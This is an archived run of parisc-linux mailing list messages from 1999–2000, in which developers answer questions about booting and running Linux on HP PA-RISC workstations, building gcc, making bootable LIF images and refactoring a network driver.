X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7095

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01BF972D.F42E9800
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

a few questions:

1 - how does a 715/50 boot over a network? Probably not bootp...
2 - what is the maximum size of memory(module) (8 slots) supported in =
the 715/50? And what does Linux support?
3 - What does the TOC button do????
4 - Linux reports SCSI-Clock of 50MHz, this is probably wrong, right?
5 - I am willing to write a fb-driver, but can't find any specs of the =
graphics adapter..
6 - Is someone (thinking of) porting ld.so??
7 - Is it possible to use an ext2fs partition as root?

phew that's it.

Bas Valkema

------=_NextPart_000_0009_01BF972D.F42E9800
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>a few questions:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1 - how does a 715/50 boot over a =
network? Probably=20
not bootp...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>2 - what is the maximum size of =
memory(module) (8=20
slots) supported in the 715/50? And what does Linux =
support?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>3 - What does the TOC button =
do????</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>4 - Linux reports SCSI-Clock&nbsp;of =
50MHz, this is=20
probably wrong, right?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>5 - I am willing to write a fb-driver, =
but can't=20
find any specs of the graphics adapter..</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>6 - Is someone (thinking of) porting=20
ld.so??</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>7 - Is it&nbsp;possible to use an =
ext2fs partition=20
as root?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>phew that's it.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Bas Valkema</FONT></DIV></BODY></HTML>

------=_NextPart_000_0009_01BF972D.F42E9800--


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Sun, 26 Mar 2000 11:02:15 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <20000326110215.A17159@puffin.external.hp.com>
References: <20000326122048.75837.qmail@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618855 31657 80.91.229.3 (22 Nov 2014 01:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:15 +0000 (UTC)
To: Bas Valkema <b_valkema@hotmail.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Sun Mar 26 11:02:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17335
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 11:02:18 -0700
Original-Received: (qmail 11423 invoked by uid 15267); 26 Mar 2000 17:03:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11412 invoked from network); 26 Mar 2000 17:03:57 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 17:03:57 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id LAA17330;
	Sun, 26 Mar 2000 11:02:15 -0700
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000326122048.75837.qmail@hotmail.com>; from Bas Valkema on Sun, Mar 26, 2000 at 02:17:01PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7096

> 1 - how does a 715/50 boot over a network? Probably not bootp...

rboot.  there's an RPM for it on puffin.external.hp.com.

> 3 - What does the TOC button do????

Reset, usually.


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Sun, 26 Mar 2000 13:26:01 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20000326132601.A29108@thepuffingroup.com>
References: <20000326122048.75837.qmail@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618855 31660 80.91.229.3 (22 Nov 2014 01:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bas Valkema <b_valkema@hotmail.com>
Original-X-From: willy@thepuffingroup.com  Sun Mar 26 11:24:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17737
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 11:24:28 -0700
Original-Received: (qmail 20674 invoked by uid 15267); 26 Mar 2000 17:26:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20661 invoked from network); 26 Mar 2000 17:26:07 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 17:26:07 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA29127;
	Sun, 26 Mar 2000 13:26:01 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000326122048.75837.qmail@hotmail.com>; from Bas Valkema on Sun, Mar 26, 2000 at 02:17:01PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7097

On Sun, Mar 26, 2000 at 02:17:01PM +0200, Bas Valkema wrote:
> 1 - how does a 715/50 boot over a network? Probably not bootp...

rbootd.  There's an RPM and a tgz on puffin.external.hp.com in
/pub/parisc/binaries/

> 2 - what is the maximum size of memory(module) (8 slots) supported in the 715/50? And what does Linux support?

not sure.  You need to add them in pairs.  It's documented in the Hardware
Compatibility List that's available from the documentation page.

> 3 - What does the TOC button do????

Transfer Of Control.  It resets the machine.

> 4 - Linux reports SCSI-Clock of 50MHz, this is probably wrong, right?

According to the documentation we have, that is correct.

> 5 - I am willing to write a fb-driver, but can't find any specs of the graphics adapter..

we're working on getting those specs released.  steve shack is already
working on it though.

> 6 - Is someone (thinking of) porting ld.so??

yes, it's part of glibc.

> 7 - Is it possible to use an ext2fs partition as root?

The SCSI driver isn't working yet.  If you want to add support for the
NCR53c700 which is in the 715/50, then you will be very popular :-)


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Success story on 715/33 and a question
Date: Sun, 26 Mar 2000 16:27:41 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000326162741.A29403@thepuffingroup.com>
References: <20000324121539.21840.qmail@web502.mail.yahoo.com> <20000324063105.A28615@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618856 31670 80.91.229.3 (22 Nov 2014 01:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:16 +0000 (UTC)
Cc: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: willy@thepuffingroup.com  Sun Mar 26 14:26:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA21082
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 14:26:09 -0700
Original-Received: (qmail 9764 invoked by uid 15267); 26 Mar 2000 20:27:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9745 invoked from network); 26 Mar 2000 20:27:47 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 20:27:47 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA29408;
	Sun, 26 Mar 2000 16:27:41 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000324063105.A28615@puffin.external.hp.com>; from Philipp Rumpf on Fri, Mar 24, 2000 at 06:31:05AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7098

On Fri, Mar 24, 2000 at 06:31:05AM -0700, Philipp Rumpf wrote:
> Try to move to nfsroot asap - it's easier.  glibc compiles a
> (working libc.a) (again, this is only local changes - I'm sure
> people will force me to commit everything in FC though), and
> ELF binaries linked against it work, so we'll hopefully have an
> ELF sash soon.

we currently have a large arsenal of nerf weaponry pointed at prumpf
and he's committing as we speak.


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Date: Sat, 13 Mar 1999 20:43:46 -0800 (PST)
Lines: 73
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990313203017.158B-100000@quark.ix.netcom.com>
References: <199903132333.PAA19874@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618856 31680 80.91.229.3 (22 Nov 2014 01:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:16 +0000 (UTC)
Cc: jason@gatekeeper.equator.com
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Sat Mar 13 23:43:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id XAA27711
	for <hppa-linux@sod.res.cmu.edu>; Sat, 13 Mar 1999 23:43:00 -0500
Original-Received: (qmail 19838 invoked by uid 15267); 14 Mar 1999 04:42:28 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 19831 invoked from network); 14 Mar 1999 04:42:27 -0000
Original-Received: from dfw-ix7.ix.netcom.com (206.214.98.7)
  by mailserv2.iuinc.com with SMTP; 14 Mar 1999 04:42:27 -0000
Original-Received: (from smap@localhost)
          by dfw-ix7.ix.netcom.com (8.8.4/8.8.4)
	  id WAA29747; Sat, 13 Mar 1999 22:42:16 -0600 (CST)
Original-Received: from sji-ca1-137.ix.netcom.com(209.109.232.137) by dfw-ix7.ix.netcom.com via smap (V1.3)
	id rmaa29670; Sat Mar 13 22:42:01 1999
In-Reply-To: <199903132333.PAA19874@gatekeeper.equator.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7099



OK, in the spirit of Linux tradition, I was able to hack it
to finally work. After doing couple of hex dumps of given
bootstrap.bin :-) and realizing what was I doing wrong.

Also I  forgot to see the boot_utils directory. 

So it also works on a B class 180. All that we need now is a Vmlinux.

Your answer explains why I am not seeing the moving cursor.
I Did not add a dummy kernel to image.
 
Any reasons you included libmilli.a in Makefile ? Since I was
getting bad archive messages I took it out of Makefile. Does not seem
to affect anything.

Keep up the good work. 

Cheers,
						pkd		
		

On Sat, 13 Mar 1999, Jason Eckhardt wrote:

> 
> > > 	So my question is how to place built "ipl" binary at the
> > > 	appropriate place on the disk so that PDC finds it. Any magic
> > > 	combination of commands ? Looks like I am missing something
> > > 	obvious.
> > > 
> > > 
> > > Thanks in advance,
> > > 
> > > -pkd
> >
> > You are on the right track.  After lifinit you have to use lifcp to copy
> > the file into the newly created LIF volume.  You also have to give it
> > the correct file type.  A script I use for creating bootable LIF
> > volumes looks something like:
> >
> 
>   That is one way. The way I do it for our very simple LIF volume is as folows:
>   Once you have obtained the SOM ipl binary (after make), then:
>    % strip ipl
>    % mkipl ipl
>    % mklifhdr hdr x y z a b c (see the utility for what these #'s mean)
>    % cat hdr pad_file ipl vmlinux > bootstrap.bin
> 
>   pad_file is a 1024 byte file full of 0.
> 
>   I did forget to put this information into the README, sorry.
>   Eventually (next few days, hopefully), there will be one utility "mkimg"
>   that will automatically do everything above for you (particularly, picking
>   the numbers which have to do with entry points, etc).
>  
>   Of course, vmlinux doesn't yet exist. I just have a simple dummy kernel
>   I use there, which hasn't been included in the distribution. If you
>   want to play around without the dummy kernel, just comment out the line
>   in ipl_c.c that branches to the kernel and remove "vmlinux" from the
>   concat line step above. You can then see the bootstrap run, but it won't
>   try to execute the kernel.
> 
>   Have fun, Jason.
> 
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 2.9
Date: Sun, 26 Mar 2000 16:51:26 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20000326165126.A29446@thepuffingroup.com>
References: <E12YxBW-0001ge-00@endor.fc.hp.com> <Pine.LNX.4.10.10003252208590.28525-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618856 31686 80.91.229.3 (22 Nov 2014 01:14:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Brancato <funnyguy@digitalsmackdown.net>
Original-X-From: willy@thepuffingroup.com  Sun Mar 26 14:49:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA21646
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 14:49:52 -0700
Original-Received: (qmail 27149 invoked by uid 15267); 26 Mar 2000 20:51:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27138 invoked from network); 26 Mar 2000 20:51:31 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 20:51:31 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA29453;
	Sun, 26 Mar 2000 16:51:26 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.10.10003252208590.28525-100000@morph.net>; from Mike Brancato on Sat, Mar 25, 2000 at 10:10:52PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7100

On Sat, Mar 25, 2000 at 10:10:52PM -0500, Mike Brancato wrote:
> I'm new to puffin.  I tried following the instruction on the webpage for
> compiling gcc, but I can't get any version to compile.  With any version,
> they all gave me different errors.  I tried building the cross-compiler on
> my x86 machine too, and got the same errors.

I just updated the recipe (actually I updated it last week and forgot
to upload the updated version to the website; sorry) to note that you
are expected to get an error and you should ignore it.  Please try the
new recipe and as always let me know of any problems with it.


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 2.9
Date: Sun, 26 Mar 2000 16:10:17 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003261604240.2215-100000@morph.net>
References: <20000326165126.A29446@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618857 31694 80.91.229.3 (22 Nov 2014 01:14:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Sun Mar 26 15:12:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22803
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 15:12:29 -0700
Original-Received: (qmail 11827 invoked by uid 15267); 26 Mar 2000 21:14:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11801 invoked from network); 26 Mar 2000 21:14:08 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.249.55)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 21:14:08 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id QAA02229
	for <parisc-linux@thepuffingroup.com>; Sun, 26 Mar 2000 16:10:18 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
In-Reply-To: <20000326165126.A29446@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7101

thank you.
I am trying to put Puffin on a 735/125 we have lying around.  Does anyone
have a more step-by-step method of ho to put it on the machine?  I will
get HPUX 10.20 or 11.0 (i think only 10.20 supports the 735?) on
themachine thursday, where do i go from there?  is there a certain set of
things i have to cross compile?  i know a few things.  but could someone
help me out?  we're gonna try to get a working machine again.... and have
it run linux.
plus. does X compile well on pa-risc linux?  can you use the X that comes
with HPUX in linux? i guess its not necessary to work, people will only be
able to connect to it thru envizex x stations. 

mike

On Sun, 26 Mar 2000 willy@thepuffingroup.com wrote:

> On Sat, Mar 25, 2000 at 10:10:52PM -0500, Mike Brancato wrote:
> > I'm new to puffin.  I tried following the instruction on the webpage for
> > compiling gcc, but I can't get any version to compile.  With any version,
> > they all gave me different errors.  I tried building the cross-compiler on
> > my x86 machine too, and got the same errors.
> 
> I just updated the recipe (actually I updated it last week and forgot
> to upload the updated version to the website; sorry) to note that you
> are expected to get an error and you should ignore it.  Please try the
> new recipe and as always let me know of any problems with it.
> 


From - Thu Nov 08 21:12:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@ngi.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some questions
Date: Sun, 26 Mar 2000 23:44:59 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <38DE84DB.9E9875F6@ngi.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618857 31699 80.91.229.3 (22 Nov 2014 01:14:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: xam@ngi.de  Sun Mar 26 15:37:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA29227
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 15:37:54 -0700
Original-Received: (qmail 31930 invoked by uid 15267); 26 Mar 2000 21:39:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31915 invoked from network); 26 Mar 2000 21:39:33 -0000
Original-Received: from venus.feedback.de (HELO feedback.de) (193.159.185.18)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 21:39:33 -0000
Original-Received: from ngi.de
	([194.95.104.141])
	by venus.feedback.de; Sun, 26 Mar 2000 23:39:26 +0200
Original-Sender: xam@mailserv2.iuinc.com
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.14 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7102

Hi there,
some questions for you ...

- what will be the minimum memory requirements for
linux/HPPA on a 735/99 ? (with and w/o X)

- IMHO there is no usable free X server for linux/HPPA,
(for my 735) but i think a have working binary of XFree for 
hpux10.10 laying around here. If this is true, and the source
code is available, is this going to be difficult to port it to
linux/HPPA ? (perhaps i'll try it out, some time in future)

- AFAIK is the (first) main target the HP9000/7xx series.
I have also a HP9000/800/F10 (8MB) laying around here,
which i don't need anymore, so if you want it ...
.. there is just the problem of transport

- what filesystems are supported ?
is only nfs supported yet ?


greetings max


PS:
i'm a (poor ;) student of computer science in ratisbon,
germany, a i just have 16MB for my 735. Addidional 64MB would
cost about 350$ i think. Some sponsors *grin* ?
Or some ideas where i can get some memory real cheap ?

PPS: great work you're doing!


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some questions
Date: Sun, 26 Mar 2000 18:52:56 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <20000326185256.A29700@thepuffingroup.com>
References: <38DE84DB.9E9875F6@ngi.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618857 31705 80.91.229.3 (22 Nov 2014 01:14:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "M. Grabert" <xam@ngi.de>
Original-X-From: willy@thepuffingroup.com  Sun Mar 26 16:18:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00585
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 16:18:21 -0700
Original-Received: (qmail 4132 invoked by uid 15267); 26 Mar 2000 23:18:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4119 invoked from network); 26 Mar 2000 23:18:19 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 23:18:19 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA29716;
	Sun, 26 Mar 2000 18:52:56 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <38DE84DB.9E9875F6@ngi.de>; from M. Grabert on Sun, Mar 26, 2000 at 11:44:59PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7103

On Sun, Mar 26, 2000 at 11:44:59PM +0200, M. Grabert wrote:
> Hi there,
> some questions for you ...
> 
> - what will be the minimum memory requirements for
> linux/HPPA on a 735/99 ? (with and w/o X)

difficult to say.  8MB without X and 16MB with X, at a guess.

> - IMHO there is no usable free X server for linux/HPPA,
> (for my 735) but i think a have working binary of XFree for 
> hpux10.10 laying around here. If this is true, and the source
> code is available, is this going to be difficult to port it to
> linux/HPPA ? (perhaps i'll try it out, some time in future)

cool, I didn't know XFree had been ported to hpux 10.10.  In fact,
I can't see any mention of it on the XFree site, so this intrigues me
quite a lot.

> - AFAIK is the (first) main target the HP9000/7xx series.
> I have also a HP9000/800/F10 (8MB) laying around here,
> which i don't need anymore, so if you want it ...
> .. there is just the problem of transport

There's quite a few people seem to want support for their Nova servers.
They're not _as_ interesting as some of the other machines we have,
and will be quite a lot of work to support.  There's no documentation
currently released on any of the peripherals.

> - what filesystems are supported ?

we currently use ext2 out of a ramdisk and nfs.  other filesystems should
work, including the UFS variant which is in use on some HP drives.  the
problem is that we don't have any scsi adapters supported yet.

> PS:
> i'm a (poor ;) student of computer science in ratisbon,
> germany, a i just have 16MB for my 735. Addidional 64MB would
> cost about 350$ i think. Some sponsors *grin* ?
> Or some ideas where i can get some memory real cheap ?

oh, I have some ideas... :-)  BTW, where's Ratisbon?  None of my german
acquaintances know where that is and mapquest has never heard of it.

> PPS: great work you're doing!
> 


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] volunteer wanted
Date: Sun, 26 Mar 2000 19:19:28 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000326191928.B29700@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618858 31711 80.91.229.3 (22 Nov 2014 01:14:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Mar 26 16:19:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00723
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 16:19:30 -0700
Original-Received: (qmail 4666 invoked by uid 15267); 26 Mar 2000 23:19:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4659 invoked from network); 26 Mar 2000 23:19:29 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 23:19:28 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id TAA29793
	for parisc-linux@thepuffingroup.com; Sun, 26 Mar 2000 19:19:28 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7104


currently, we have a copy of 82596.c as lasi_82596.c that has the
modifications required to make it work with the lasi chip.  it would
be good if someone could rework this to put the common functions in
82596.c, the lasi-specific ones in lasi_eth.c and the pc-specific ones
in apricot.c.  Possibly it would be tidiest to put this into a directory,
as was done with tulip, but people may prefer not to.

Any volunteers?


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 2.9
Date: Sun, 26 Mar 2000 19:29:37 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20000326192937.C29700@thepuffingroup.com>
References: <20000326165126.A29446@thepuffingroup.com> <Pine.LNX.4.10.10003261604240.2215-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618858 31714 80.91.229.3 (22 Nov 2014 01:14:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Brancato <funnyguy@digitalsmackdown.net>
Original-X-From: willy@thepuffingroup.com  Sun Mar 26 16:29:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00974
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 16:29:39 -0700
Original-Received: (qmail 9215 invoked by uid 15267); 26 Mar 2000 23:29:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9204 invoked from network); 26 Mar 2000 23:29:38 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 26 Mar 2000 23:29:38 -0000
Original-Received: (from willy@localhost)
